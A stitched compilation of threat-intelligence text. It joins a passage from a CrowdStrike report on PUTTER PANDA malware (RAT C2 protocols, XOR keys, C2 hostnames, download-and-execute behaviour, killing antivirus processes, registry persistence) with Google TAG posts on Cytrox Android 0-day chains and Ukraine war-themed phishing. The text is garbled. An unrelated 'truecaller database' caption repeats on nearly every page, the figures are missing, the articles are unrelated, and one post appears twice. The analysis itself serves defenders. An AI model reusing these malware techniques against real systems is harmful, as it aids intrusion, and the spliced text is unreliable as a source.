A series of HTTP requests characterizes the RATs C2.
The initial beacon uses a request with four parameters (h1, h2, h3, and h4)  as shown in Figure 8  to register the implant with the C2 server.
Communication to and from the C2 server is obfuscated using a 1-byte XOR with the key 0xBE.
The commands supported by the RAT enable several capabilities, including: o remote shell o listing of running processes (including loaded modules) o Process termination (specified by PId) o File and directory listing o File upload, download, deletion, and timestamp modification CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 28 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) Figure 8.
4H rat Example Beacon Figure 9.
sample Python Code to decode Hostname from User-agent snippet3Para rat  EXaMPlE Md5 HasH BC4E9dad71B844dd3233CFBBB96C1Bd3 the 3Para rat was described in some detail in other Crowdstrike reporting, which examined a dll-based sample with an exported filename of ssdpsvc.dll.
other observed exported filenames are msacem.dll and mrpmsg.dll, although the rat has also been observed in plain executable (EXE) format.
on startup, the rat attempts to create a file mapping named sdKJfhksdf89dIUKJdsFsdfsdf78sdfsdf.
this is used to prevent multiple instances of the rat being executed simultaneously.
the rat will then use a byte-wise subtraction- based algorithm (using a hard-coded modulo value) to decode C2 server details consisting of a server hostname and port number, in this example nsc.adomhn.
com, port 80.
the decoding algorithm is illustrated in Figure 10 below.
the key and modulo values vary on a per-sample basis.
decoded C2 settings, along with sample metadata, are listed in appendix 2.
CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 29 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) Figure 11.
3Para rat Initial Beacon Figure 10.
sample Python Code Illus- trating C2 server decoding routine the rat is programmed in C using Microsoft Visual studio, and it makes use of the object-oriented and parallel programming features of this environment standard template library (stl) objects are used to represent data structures such as strings and lists, and custom objects are used to represent some of the C2 command handlers (e.g., CCommandCMd).
several threads are used to handle different stages of the C2 protocol, such as receiving data from the server, decrypting data, and processing commands.
standard Windows primitives such as Events are used to synchronize across these threads, with a shared global structure used to hold state.
once running, the rat will load a binary representation of a date/time value13 from a file C:\rECYClEr\restore.dat, and it will sleep until after this date/time has passed.
this provides a mechanism for the operators to allow the rat to remain dormant until a fixed time, perhaps to allow a means of regaining access if other parts of their toolset are removed from a victim system.
as with the 4H rat, the C2 protocol used by the 3Para rat is HttP based, using both GEt and Post requests.
an initial request is made to the C2 server (illustrated in Figure 11 above), but the response value is effectively ignored it is likely that this request serves only as a connectivity check, as further C2 activity will only occur if this first request is successful.
In this case, the rat will transmit some basic victim information to the C2 server along with a 256-byte hash of the hard-coded string HYF549jkMCXuis.
It is likely that this request functions as a means to authenticate the rat to the C2 server and register a new victim machine with the controller.
a sample request and its structure are shown in Figure 12.
13Using the standard Windows SYSTEMTIME structure CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 30 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) Figure 12.
sample 3Para rat second- ary Beacon/ C2 registration 14See http://msdn.microsoft.com/en-us/library/windows/desktop/bb759853(vvs.85).aspx for details of this API, which is rarely used.
CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 31 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) Figure 13.
3Para rat sample tasking request If this request is also successful, the rat will attempt to retrieve tasking from the controller using a further distinctive HttP request shown in Figure 13, repeating this request every two seconds until valid tasking is returned.
CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 32 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) returned tasking is decrypted using the dEs algorithm in CBC mode with a key derived from the Md5 hash of the string HYF549jkMCXuis (as used in the secondary beacon shown above).
If this fails, the rat will fall back to decoding the data using an 8-byte Xor with a key derived from data returned from the Hashdata aPI with the same key string.
output data produced by tasking instructions is encrypted in the same manner as it was decrypted and sent back to the C2 server via HttP Post request to a UrI of the form /microsoft/errorpost/ default.aspx?Id, where the Id value is a random number in decimal representation  as with the initial request shown in Figure 4.
the set of commands supported by the rat is somewhat limited, indicating that perhaps the rat is intended to be used as a second-stage tool, or as a failsafe means for the attackers to regain basic access to a compromised system (which is consistent with its support for sleeping until a certain date/time).
some of the supported commands are implemented using C classes derived from a base CCommand class: CCommandAttribe  Retrieve metadata for files on disk, or set certain attributes such as creation/ modification timestamps.
CCommandCD  Change the working directory for the current C2 session.
CCommandCMD  Execute a command, with standard input/output/error redirected over the C2 channel.
CCommandNOP  List the current working directory.
However, other commands are not implemented in this way.
these other commands contain functionality to: Pause C2 activity for a random time interval.
Shutdown C2 activity and exit.
Provide a date and time before which beaconing will not resume, recorded in the file C:\RECYCLER\ restore.dat as noted above.
the use of C classes that inherit from a base class to carry out some of the tasking commands, along with the use of concurrency features, indicates that the developers of the rat put some thought into the architecture and design of their tool, although the decision to implement some commands outside of the class-based framework is curious, and may indicate multiple developers worked on the rat (or a single developer with shifting preferences for his coding style).
CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 33 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) PnGdoWnEr  EXaMPlE Md5 HasH 687424F0923dF9049CC3a56C685EB9a5 the pngdowner malware is a simple tool constructed using Microsoft Visual studio and implemented via single C source code file.
this sample contains a PdB path of Y:\Visual studio 2005\Projects\branch-downer\ downer\release\downer.pdb, but other similar paths Z:\Visual studio 2005\Projects\pngdowner\release\ pngdowner.pdb and Z:\Visual studio 2005\Projects\downer\release\downer.pdb have also been observed in other samples.
appendix 3 lists metadata for known pngdowner samples.
Initially, the malware will perform a connectivity check to a hard-coded Url (http://www.microsoft.com), using a constant user agent Mozilla/4.0 (Compatible MsIE 6.0).
If this request fails, the malware will attempt to extract proxy details and credentials from Windows Protected storage, and from the IE Credentials store using publicly known methods15 , using the proxy credentials for subsequent requests if they enable outbound HttP access.
an initial request is then made to the hard-coded C2 server and initial UrI  forming a Url of the form (in this sample) http://login.stream-media.net/files/xx11/index.asp?95027775, where the numerical parameter represents a random integer.
a hard-coded user agent of myagent is used for this request, and subsequent communication with the C2 server.
Content returned from this request to the C2 server will be saved to a file named index.dat in the users temporary directory (i.e., tEMP).
this file is expected to contain a single line, specifying a Url and a filename.
the malware will then attempt to download content from the specified Url to the filename within the users temporary directory, and then execute this file via the WinExec aPI.
If this execution attempt succeeds, a final C2 request will be made  in this case to a Url using the same path as the initial request (and a similarly random parameter), but with a filename of success.asp.
Content returned from this request will be saved to a file, but then immediately deleted.
Finally, the malware will delete the content saved from the first request, and exit.
the limited functionality, and lack of persistence of this tool, implies that it is used only as a simple download- and-execute utility.
although the version mentioned here uses C, along with Visual studios standard template library (stl), older versions of the rat (such as Md5 hash b54e91c234ec0e739ce429f47a317313), built in 2011, use plain C. this suggests that despite the simple nature of the tool, the developers have made some attempts to modify and perhaps modernize the code.
Both versions contain debugging/progress messages such as down file success.
although these are not displayed to the victim, they were likely used by the developers as a simple means to verify functionality of their code.
CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 34 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) HttPClIEnt  EXaMPlE Md5 HasH 544FCa6EB8181F163E2768C81F2Ba0B3 like pngdowner, the httpclient malware is a simple tool that provides a limited range of functionality and uses HttP for its C2 channel.
this malware also initially performs a connectivity check to www.microsoft.com using the hard-coded user agent Mozilla/4.0 (Compatible MsIE 6.0), although in this variant no attempt is made to extract proxy credentials.
the malware will then connect to its configured C2 infrastructure (file.anyoffice.info) and perform a HttP request of the form shown in Figure 14 below: Content returned from the C2 server is deobfuscated by Xoring the content with a single byte, 0x12.
the decoded data is then checked for the string runshell.
If this string is not present, the C2 request is repeated every 0.5 seconds.
otherwise, a shell process is started (i.e., cmd.exe), with input/output redirected over the C2 channel.
shell commands from the server are followed by an encoded string , which indicates that the shell session should continue.
If the session is ended, two other commands are supported: m2b (upload file) and b2m (download file).
slight variations on the C2 Urls are used for different phases of the C2 interaction: shell command: /Microsoft/errorpostrandom number/default.asp?tmpencoded hostname Shell response: /MicrosoftUpdate/GetUpdate/KBrandom number/default.asp?tmpencoded hostname 15Both methods are detailed here: http://securityxploded.com/iepasswordsecrets.php Figure 14.
HttpClient sample Beacon CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 35 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) Given the lack of a persistence mechanism and low level of sophistication, it is likely that httpclient  like pngdowner  is used as a second-stage or supplementary/backup tool.
appendix 4 lists metadata for observed httpclient samples.
droPPErs  rC4 and Xor BasEd other Crowdstrike reporting describes a dropper used by PUttEr Panda (abc.scr) to install the 4H rat.
this dropper uses rC4 to decrypt an embedded payload from data in an embedded resource before writing the payload to disk and executing it.
several instances of this dropper have been observed, most commonly in association with the 4H rat, but also in relation to other tools that will be described in forthcoming reporting.
another dropper has been observed, exclusively installing the pngdowner malware (example Md5 hash 4c50457c35e2033b3a03fcbb4adac7b7).
this dropper is simplistic in nature, and is compiled from a single C source code file.
It contains a Word document in plaintext (written to Bienvenue_a_sahaja_Yoga_toulouse.
doc), along with an executable (Update.exe) and dll (McUpdate.dll).
the executable and dll are both contained within the .data section of the dropper, obfuscated with a 16-byte Xor key (consisting of the bytes 0xa0  0xaF).
Both the document and executable are written to disk and the executed via the shellExecute aPI (using the verb open).
the executable is also installed into the asEP registry key HKCU\software\Microsoft\Windows\ CurrentVersion\run, with a value named McUpdate.
Finally, the dropper deletes itself via a batch file.
the dropped executable (Md5 hash 38a2a6782e1af29ca8cb691cf0d29a0d) primarily aims to inject the specified dll (McUpdate.dll, Md5 hash 08c7b5501df060ccfc3aa5c8c41b452f) into a process that would normally be accessing the network, likely in order to disguise the malicious activity.
Module names corresponding to outlook Express (msinm.exe), outlook (outlook.exe), Internet Explorer (iexplore.exe), and Firefox (firefox.exe) are used.
If Internet Explorer is used, then the malware will attempt to terminate processes corresponding to two components of sophos anti-Virus (saVadminservice.exe and savservice.exe).
Four examples of these droppers were located, using a mixture of decoy PdF and Microsoft Word documents (shown below in Figures 15-18).
the common theme throughout these documents is space technology (Bienvenue_a_sahaja_Yoga_toulouse.doc does not follow this trend, but could be targeted at workers at the toulouse space Centre, the largest space centre in Europe ), indicating that the attackers have a keen interest in this sector, which is also reflected in the choice of name for some of the C2 domains used (see the attribution section above).
16The API used expects a parameter of the form char, and is given a char pointer to the / string, but the stack data following this pointer is not properly zeroed or cleansed before use, leading to uncontrolled memory being read as other strings.
CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 36 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) Figure 15.
In- vitation_Pleia- des_012012.doc dropped by a4e4b- 3ceb949e8494968c- 71fa840a516 Figure 16.
Bien- venue_a_sahaja_ Yoga_toulouse.doc dropped by 4c50457c35e- 2033b3a03fcbb4ad- ac7b7 CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 37 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) Figure 17.
50th aIaa satellite sciences Conference.pdf from 6022cf1f- cf2b478bed8da1fa3e- 996ac5 Figure 18: Proj- ect-Manager-Job- description-sur- rey-satellite-tech- nology-world-lead- er-provision-small-sat- ellite-solutions.
pdf dropped by 9cb6103e9588d506cf- d81961ed41eefe Mitigation  remediation CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 39 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) mitiGation  rEmEDiation a number of specific and generic detection methods are possible for this rat, both on a host and on the network.
these are detailed below, and are designed to expand upon the indicators reported in other Crowdstrike reporting.
rEGISTrY arTIFaCTS the following Windows registry artifacts are indicative of a compromised host: ASEP registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run, and value named McUpdate FIlE SYSTEM arTIFaCTS the presence of the following file system artifacts is indicative of a compromised host: ssdpsvc.dll, msacem.dll, or mrpmsg.dll C:\RECYCLER\restore.dat TEMP\index.dat hoST INDICaTorS a file mapping named sdKJfhksdf89dIUKJdsFsdfsdf78sdfsdf also indicates the victim machine is compromised with PUttEr Panda malware.
CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 40 yara rules CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 41 CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 42 CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 43 CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 44 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) NETworK SIGNaTurES In addition the domains listed in the appendices and in the attribution section, the generic signatures below can be used to detect activity from the malware described in this report.
snort rules CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 45 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 46 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) TTpS In addition to the indicators described above, PUttEr Panda have some distinct generic ttPs: Distinctive connectivity checks to www.google.com Use of the HashData API to derive key material for authentication and encryption Use of the ASEP registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run Deployment of space industry-themed decoy documents during malware installations Conclusion CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 48 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) concLusion PUttEr Panda are a determined adversary group who have been operating for several years, conducting intelligence-gathering operations with a significant focus on the space sector.
although some of their tools are simplistic, taken as a whole their toolset provides a wide degree of control over a victim system and can provide the opportunity to deploy additional tools at will.
research presented in this report shows that the PUttEr Panda operators are likely members of the 12th Bureau, 3rd General staff department (Gsd) of the Peoples liberation army (Pla), operating from the units headquarters in shanghai with MUCd 61486.
strategic objectives for this unit are likely to include obtaining intellectual property and industrial secrets relating to defense technology, particularly those to help enable the units suspect mission to conduct space surveillance, remote sensing, and interception of satellite communications.
PUttEr Panda is likely to continue to aggressively target Western entities that hold valuable information or intellectual property relevant to these interests.
the detection and mitigation guidance given in this report will help to minimize the risk of a successful compromise by these actors, and future Crowdstrike reports will examine other elements of the PUttEr Panda toolset.
appendices CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 50 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) aPPEnDix 1: 4H rat samPLE mEtaData CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 51 CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 52 CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 53 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) aPPEnDix 2: 3Para rat samPLE mEtaData CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 54 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) aPPEnDix 3: PnGDoWnEr samPLE mEtaData CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 55 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 56 CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 57 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) aPPEnDix 4: HttPcLiEnt samPLE mEtaData CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 58 CrowdStrike FalCon intelligenCe Crowdstrike Falcon Intelligence portal provides enterprises with strategic, customized, and actionable intelligence.
Falcon Intelligence enables organizations to prioritize resources by determining targeted versus commodity attacks, saving time and focusing resources on critical threats.
With unprecedented insight into adversary tools, tactics, and procedures (ttPs) and multi-source information channels, analysts can identify pending attacks and automatically feed threat intelligence via aPI to sIEM and thirdparty security tools.
access to Crowdstrike Falcon Intelligence is geared toward all levels of an organization, from the executivewho needs to understand the business threat and strategic business impact, to the front-line securiyt professional struggling to ght through an adversarys attack against the enterprise.
crowdstrike Falcon intelligence is a web-based intelligence subscription that includes full access to a variety of feature sets, including: Detailed technical and strategic analysis of 50adversaries capabilities, indicators and tradecra,attribution, and intentions Customizable feeds and API for indicators of compromise in a wide variety of formats Tailored Intelligence that provides visibility into breaking events that matter to an organizations brand, FalCon intelligenCe BeneFitS Incorporate actionable Intelligence Feeds into your existing enterprise security infrastructure to identify advanced attackers specic to your organization and industry rapidly integrate Falcon Intelligence into custom workows and sEIM deployments with a web-based aPI Quickly understand the capabilities and artifacts of targeted attacker tradecra with In-depth technical analysis Gain visibility into breaking events that matter to an organizations brand, infrastructure, and customers Interact with the Intelligence team and leverage customized Cyber threat Intelligence feedback during Quarterly Executive Briengs Provide malware samples and receive customized and actionable intelligence reporting access the adversary Prole library to gain in-depth information into 50 adversary groups, to include capabilities and tradecra and tradecraft CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 59 CrowdStrike FalCon HoSt Crowdstrike Falcon Host is an endpoint threat detection and response product that identifies unknown malware, detects zero-day threats, and prevents damage from targeted attacks in real-time.
Falcon Host is comprised of two core components, the cloud-based management console and the on-premises host-based sensor that continuously monitors threat activity at the endpoint to prevent damage in real-time.
Falcon Host leverages a lightweight kernel-mode sensor that shadows, captures, and correlates low- level operating system events to instantly identify the adversary tradecraft and activities through stateful Execution Inspection (sEI) at the endpoint and Machine learning in the cloud.
as opposed to focusing on malware signatures, indicators of compromise, exploits, and vulnerabilities, Falcon Host instead identifies mission objectives of the adversary leveraging the Kill Chain model and provides realtime detection by focusing on what the attacker is doing, as opposed to looking nfor a specific, easily changeable indicator used in an attack.
Without performing intrusive and performance- impacting scans of the system, Falcon Hosts highly efficient real-time monitoring of all system activity is the only security solution that provides maximum visibility into all adversary activities, including adversary-in-Motion: reconnaissance, exploitation, privilege escalation, lateral movement, and exfiltration.
Falcon Host delivers insight into past and current attacks not only on a single host, but also across devices and networks.
FalCoN hoST KEY FEaTurES Endpoint threat detection and response solution Cloud-managed application with easily deployed sensors for Mac  Windows Kernel-mode sensors requires no reboot on updates.
Less than 2MB footprint executable Detects attacks based on adversary activity Integrates with existing security architecture and SIEM tools through Falcon Host aPIs TEChNoloGY DrIvErS: statEFUl EXECUtIon InsPECtIon stateful Execution Inspection (sEI) tracks execution state and links together various stages of the kill chain, from initial code execution to data exfiltration.
Crowdstrikes real-time stateful Execution Engine performs inspection and analysis to understand the full context of a cyber attack.
sEI is critical to understanding the entire attack life cycle and preventing the damage from advanced malware and targeted attacks.
Existing security technologies that focus solely on malware signatures, incidators of compromise, exploits, and vulnerabilities fail to protect against the majority of attacks as they are blind to the full scope of adversary activity.
BENEFITS Identify and protect against damage from determined attackers who are undetected by existing passive defense solutions Understand who is attacking you, why and what they want to steal or damage Alert and stop exfiltration of sensitive information from compromised machines Protect remote users when they are outside of the corporate network Protect remote users when they are outside of the corporate network No on-premises equipment needed, reducing overall total cost of ownership CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 60 about crowdstrike Crowdstrike is a global provider of security technology and services focused on identifying advanced threats and targeted attacks.
Using big-data technologies, Crowdstrikes next-generation threat protection platform leverages real-time stateful Execution Inspection (sEI) at the endpoint and Machine learning in the cloud instead of solely focusing on malware signatures, indicators of compromise, exploits, and vulnerabilities.
the Crowdstrike Falcon Platform is a combination of big data technologies and endpoint security driven by advanced threat intelligence.
Crowdstrike Falcon enables enterprises to identify unknown malware, detect zero-day threats, pinpoint advanced adversaries and attribution, and prevent damage from targeted attacks in real time.
about crowdstrike services Crowdstrike services is a wholly owned subsidiary of Crowdstrike responsible for proactively defending against and responding to cyber incidents with pre and post Incident response services.
Crowdstrikes seasoned team of Cyber Intelligence professionals, Incident responders, and Malware researchers consists of a number of internationally recognized authors, speakers, and experts who have worked on some of the most publicized and challenging intrusions and malware attacks in recent years.
the Crowdstrike services team leverages our security operations Center to monitor the full Crowdstrike Falcon Platform and provide cutting-edge advanced adversary intrusion detection services.
the full spectrum of proactive and response services helps customers respond tactically as well as continually mature and strategically evolve Incident response program capabilities.
For more information on the intelligence provided in this report or on any of the 70 actors tracked by the CrowdStrike global intelligence team, contact us at intelligencecrowdstrike.com to learn more about the CrowdStrike Falcon Platform or CrowdStrike Services, contact us at salescrowdstrike.com.
www.crowdstrike.com    CrowdStrike
To protect our users, Google’s Threat Analysis Group (TAG) routinely hunts for 0-day vulnerabilities exploited in-the-wild.
In 2021, we reported nine 0-days affecting Chrome, Android, Apple and Microsoft, leading to patches to protect users from these attacks.
This blog is a follow up to our July 2021 post on four 0-day vulnerabilities we discovered in 2021, and details campaigns targeting Android users with five distinct 0-day vulnerabilities:
We assess with high confidence that these exploits were packaged by a single commercial surveillance company, Cytrox, and sold to different government-backed actors who used them in at least the three campaigns discussed below.
Consistent with findings from CitizenLab, we assess likely government-backed actors purchasing these exploits are operating (at least) in Egypt, Armenia, Greece, Madagascar, Côte d’Ivoire, Serbia, Spain and Indonesia.
The 0-day exploits were used alongside n-day exploits as the developers took advantage of the time difference between when some critical bugs were patched but not flagged as security issues and when these patches were fully deployed across the Android ecosystem.
Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits.
Seven of the nine 0-days TAG discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.
TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.
All three campaigns delivered one-time links mimicking URL shortener services to the targeted Android users via email.
The campaigns were limited — in each case, we assess the number of targets was in the tens of users.
Once clicked, the link redirected the target to an attacker-owned domain that delivered the exploits before redirecting the browser to a legitimate website.
If the link was not active, the user was redirected directly to a legitimate website.
We've seen this technique used against journalists and other unidentified targets, and alerted those users when possible.
We assess that these campaigns delivered ALIEN, a simple Android malware in charge of loading PREDATOR, an Android implant described by CitizenLab in December 2021.
ALIEN lives inside multiple privileged processes and receives commands from PREDATOR over IPC.
These commands include recording audio, adding CA certificates, and hiding apps.
The first campaign, detected in August 2021, used Chrome on a Samsung Galaxy S21 and the web server immediately replied with a HTTP redirect (302) pointing to the following intent URL.
This URL abused a logic flaw and forced Chrome to load another URL in the Samsung Browser without user interaction or warnings.
We did not capture the subsequent stages, but assess the attackers did not have exploits for the current version of Chrome (91.0.4472) at that time, but instead used n-day exploits targeting Samsung Browser, which was running an older and vulnerable version of Chromium.
We assess with high confidence this vulnerability was sold by an exploit broker and probably abused by more than one surveillance vendor.
More technical details about this vulnerability are available in this RCA by Maddie Stone.
Related IOCs
In September 2021, TAG detected a campaign where the exploit chain was delivered to a fully up-to-date Samsung Galaxy S10 running the latest version of Chrome.
We recovered the exploit used to escape the Chrome Sandbox, but not the initial RCE exploit.
The sandbox escape was loaded directly as an ELF binary embedding libchrome.so and a custom libmojo_bridge.so was used to ease the communication with the Mojo IPCs.
This means the renderer exploit did not enable MojoJS bindings like we often see in public exploits.
Analysis of the exploit identified two different vulnerabilities in Chrome:
After escaping the sandbox, the exploit downloaded another exploit in /data/data/com.android.chrome/p.so to elevate privileges and install the implant.
We haven’t retrieved a copy of the exploit.
Related IOCs
In October 2021, we detected a full chain exploit from an up-to-date Samsung phone running the latest version of Chrome.
The chain included two 0-day exploits:
Of note, CVE-2021-1048 was fixed in the Linux kernel in September 2020, over a year before this campaign.
The commit was not flagged as a security issue and therefore the patch was not backported in most Android kernels.
At the time of the exploit, all Samsung kernels were vulnerable; LTS kernels running on Pixel phones were recent enough and included the fix for this bug.
Unfortunately, this is not the first time we have seen this happen with exploits in the wild; the 2019 Bad Binder vulnerability is another example.
In both cases, the fix was not flagged as a security issue and thus not backported to all (or any) Android kernels.
Attackers are actively looking for and profiting from such slowly-fixed vulnerabilities.
Related IOCs
We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by Google’s Chrome and Android teams.
We would also like to thank Project Zero for their technical assistance in helping analyze these bugs.
TAG continues to track more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.
We remain committed to updating the community as we uncover these campaigns.
Tackling the harmful practices of the commercial surveillance industry will require a robust, comprehensive approach that includes cooperation among threat intelligence teams, network defenders, academic researchers and technology platforms.
We look forward to continuing our work in this space and advancing the safety and security of our users around the world.
NOTE: On May 20th, we updated our attribution to more precisely describe our findings.
Google’s Threat Analysis Group (TAG) has been closely monitoring the cybersecurity activity in Eastern Europe with regard to the war in Ukraine.
Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.
Similar to other reports, we have also observed threat actors increasingly target critical infrastructure entities including oil and gas, telecommunications and manufacturing.
Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.
Financially motivated and criminal actors are also using current events as a means for targeting users.
As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.
We promptly identify and remove any such content but have not observed any significant shifts from the normal levels of activity that occur in the region.
Here is a deeper look at the campaign activity TAG has observed and the actions the team has taken to protect our users over the past few weeks:
APT28 or Fancy Bear, a threat actor attributed to Russia GRU, was observed targeting users in Ukraine with a new variant of malware.
The malware, distributed via email attachments inside of password protected zip files (ua_report.zip), is a .Net executable that when executed steals cookies and saved passwords from Chrome, Edge and Firefox browsers.
The data is then exfiltrated via email to a compromised email account.
Malware samples:
TAG would like to thank the Yahoo!
Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.
Turla, a group TAG attributes to Russia FSB, continues to run campaigns against the Baltics, targeting defense and cybersecurity organizations in the region.
Similar to recently observed activity, these campaigns were sent via email and contained a unique link per target that led to a DOCX file hosted on attacker controlled infrastructure.
When opened, the DOCX file would attempt to download a unique PNG file from the same attacker controlled domain.
Recently observed Turla domains:
COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts.
The targets include government and defense officials, politicians, NGOs and think tanks, and journalists.
The group's tactics, techniques and procedures (TTPs) for these campaigns have shifted slightly from including phishing links directly in the email, to also linking to PDFs and/or DOCs hosted on Google Drive and Microsoft One Drive.
Within these files is a link to an attacker controlled phishing domain.
These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.
Recently observed COLDRIVER credential phishing domains:
Ghostwriter, a Belarusian threat actor, has remained active during the course of the war and recently resumed targeting of Gmail accounts via credential phishing.
This campaign, targeting high risk individuals in Ukraine, contained links leading to compromised websites where the first stage phishing page was hosted.
If the user clicked continue, they would be redirected to an attacker controlled site that collected the users credentials.
There were no accounts compromised from this campaign and Google will alert all targeted users of these attempts through our monthly government-backed attacker warnings.
Both pages from this campaign are shown below.
In mid-April, TAG detected a Ghostwriter credential phishing campaign targeting Facebook users.
The targets, primarily located in Lithuania, were sent links to attacker controlled domains from a domain spoofing the Facebook security team.
Recently observed Ghostwriter credential phishing domains and emails:
Curious Gorge, a group TAG attributes to China's PLA SSF, has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia.
In Russia, long running campaigns against multiple government organizations have continued, including the Ministry of Foreign Affairs.
Over the past week, TAG identified additional compromises impacting multiple Russian defense contractors and manufacturers and a Russian logistics company.
Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.
We also send all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.
We encourage any potential targets to enable Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.
The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.
We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.
While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.
To protect our users, Google’s Threat Analysis Group (TAG) routinely hunts for 0-day vulnerabilities exploited in-the-wild.
In 2021, we reported nine 0-days affecting Chrome, Android, Apple and Microsoft, leading to patches to protect users from these attacks.
This blog is a follow up to our July 2021 post on four 0-day vulnerabilities we discovered in 2021, and details campaigns targeting Android users with five distinct 0-day vulnerabilities:
We assess with high confidence that these exploits were packaged by a single commercial surveillance company, Cytrox, and sold to different government-backed actors who used them in at least the three campaigns discussed below.
Consistent with findings from CitizenLab, we assess likely government-backed actors purchasing these exploits are operating (at least) in Egypt, Armenia, Greece, Madagascar, Côte d’Ivoire, Serbia, Spain and Indonesia.
The 0-day exploits were used alongside n-day exploits as the developers took advantage of the time difference between when some critical bugs were patched but not flagged as security issues and when these patches were fully deployed across the Android ecosystem.
Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits.
Seven of the nine 0-days TAG discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.
TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.
All three campaigns delivered one-time links mimicking URL shortener services to the targeted Android users via email.
The campaigns were limited — in each case, we assess the number of targets was in the tens of users.
Once clicked, the link redirected the target to an attacker-owned domain that delivered the exploits before redirecting the browser to a legitimate website.
If the link was not active, the user was redirected directly to a legitimate website.
We've seen this technique used against journalists and other unidentified targets, and alerted those users when possible.
We assess that these campaigns delivered ALIEN, a simple Android malware in charge of loading PREDATOR, an Android implant described by CitizenLab in December 2021.
ALIEN lives inside multiple privileged processes and receives commands from PREDATOR over IPC.
These commands include recording audio, adding CA certificates, and hiding apps.
The first campaign, detected in August 2021, used Chrome on a Samsung Galaxy S21 and the web server immediately replied with a HTTP redirect (302) pointing to the following intent URL.
This URL abused a logic flaw and forced Chrome to load another URL in the Samsung Browser without user interaction or warnings.
We did not capture the subsequent stages, but assess the attackers did not have exploits for the current version of Chrome (91.0.4472) at that time, but instead used n-day exploits targeting Samsung Browser, which was running an older and vulnerable version of Chromium.
We assess with high confidence this vulnerability was sold by an exploit broker and probably abused by more than one surveillance vendor.
More technical details about this vulnerability are available in this RCA by Maddie Stone.
Related IOCs
